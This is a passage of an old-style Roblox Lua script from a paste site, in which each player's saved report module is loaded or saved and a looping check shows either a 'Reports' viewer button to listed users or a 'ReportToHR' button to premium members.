  1172. Plr:WaitForDataReady()
  1173.  
  1174. ypcall(function()
  1175.  
  1176. local Ok, Mod = ypcall(function() return Plr:LoadInstance(MyCode) end)
  1177.  
  1178. if not Ok or Mod == nil then
  1179.  
  1180. Plr:SaveInstance(MyCode, ReportMod)
  1181.  
  1182. end
  1183.  
  1184. Saved[Plr.Name] = true
  1185.  
  1186. Delay(0, function()
  1187.  
  1188. while Plr.Parent ~= nil do
  1189.  
  1190. wait()
  1191.  
  1192. ypcall(function()
  1193.  
  1194. if Plr:findFirstChild("PlayerGui") then
  1195.  
  1196. if Users[Plr.Name] then
  1197.  
  1198. if not Plr.PlayerGui:findFirstChild("Reports") then
  1199.  
  1200. ShowReportsButton(Plr)
  1201.  
  1202. end
  1203.  
  1204. else
  1205.  
  1206. if not Plr.PlayerGui:findFirstChild("ReportToHR") and Plr.MembershipType ~= Enum.MembershipType.None and GotPass[Plr.Name]==nil then
  1207.  
  1208. ReportButton(Plr)
  1209.  
  1210. end
  1211.  
  1212. end
  1213.  
  1214. end
  1215.  
  1216. end)
  1217.  
  1218. end
  1219.  
  1220. end)
  1221.  
  1222. end)
  1223.  
  1224. end)
  1225.  
  1226.  
  1227. for _,Plr in pairs(game:GetService("Players"):GetPlayers()) do
  1228.  
  1229. Plr:WaitForDataReady()
  1230.  
  1231. ypcall(function()
  1232.  
  1233. local Ok, Mod = ypcall(function() return Plr:LoadInstance(MyCode) end)
  1234.  
  1235. if not Ok or Mod == nil or Mod == "" then
  1236.  
  1237. Plr:SaveInstance(MyCode, ReportMod)
  1238.  
  1239. end
  1240.  
  1241. Saved[Plr.Name] = true
  1242.  
  1243. Delay(0, function()
  1244.  
  1245. while Plr.Parent ~= nil do
  1246.  
  1247. wait()
  1248.  
  1249. ypcall(function()
  1250.  
  1251. if Plr:findFirstChild("PlayerGui") and GotPass[Plr.Name] == nil then
  1252.  
  1253. if Users[Plr.Name] then
  1254.  
  1255. if not Plr.PlayerGui:findFirstChild("Reports") then
  1256.  
  1257. ShowReportsButton(Plr)
  1258.  
  1259. end
  1260.  
  1261. elseif Plr.Name~="flipflop8421" then
  1262.  
  1263. if not Plr.PlayerGui:findFirstChild("ReportToHR") and Plr.MembershipType ~= Enum.MembershipType.None and GotPass[Plr.Name]==nil then
  1264.  
  1265. ReportButton(Plr)
  1266.  
  1267. end
  1268.  
  1269. end
  1270.  
  1271. end
  1272.  
  1273. end)
  1274.  
  1275. end
  1276.  
  1277. end)
  1278.  
  1279. end)
  1280.  
  1281. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement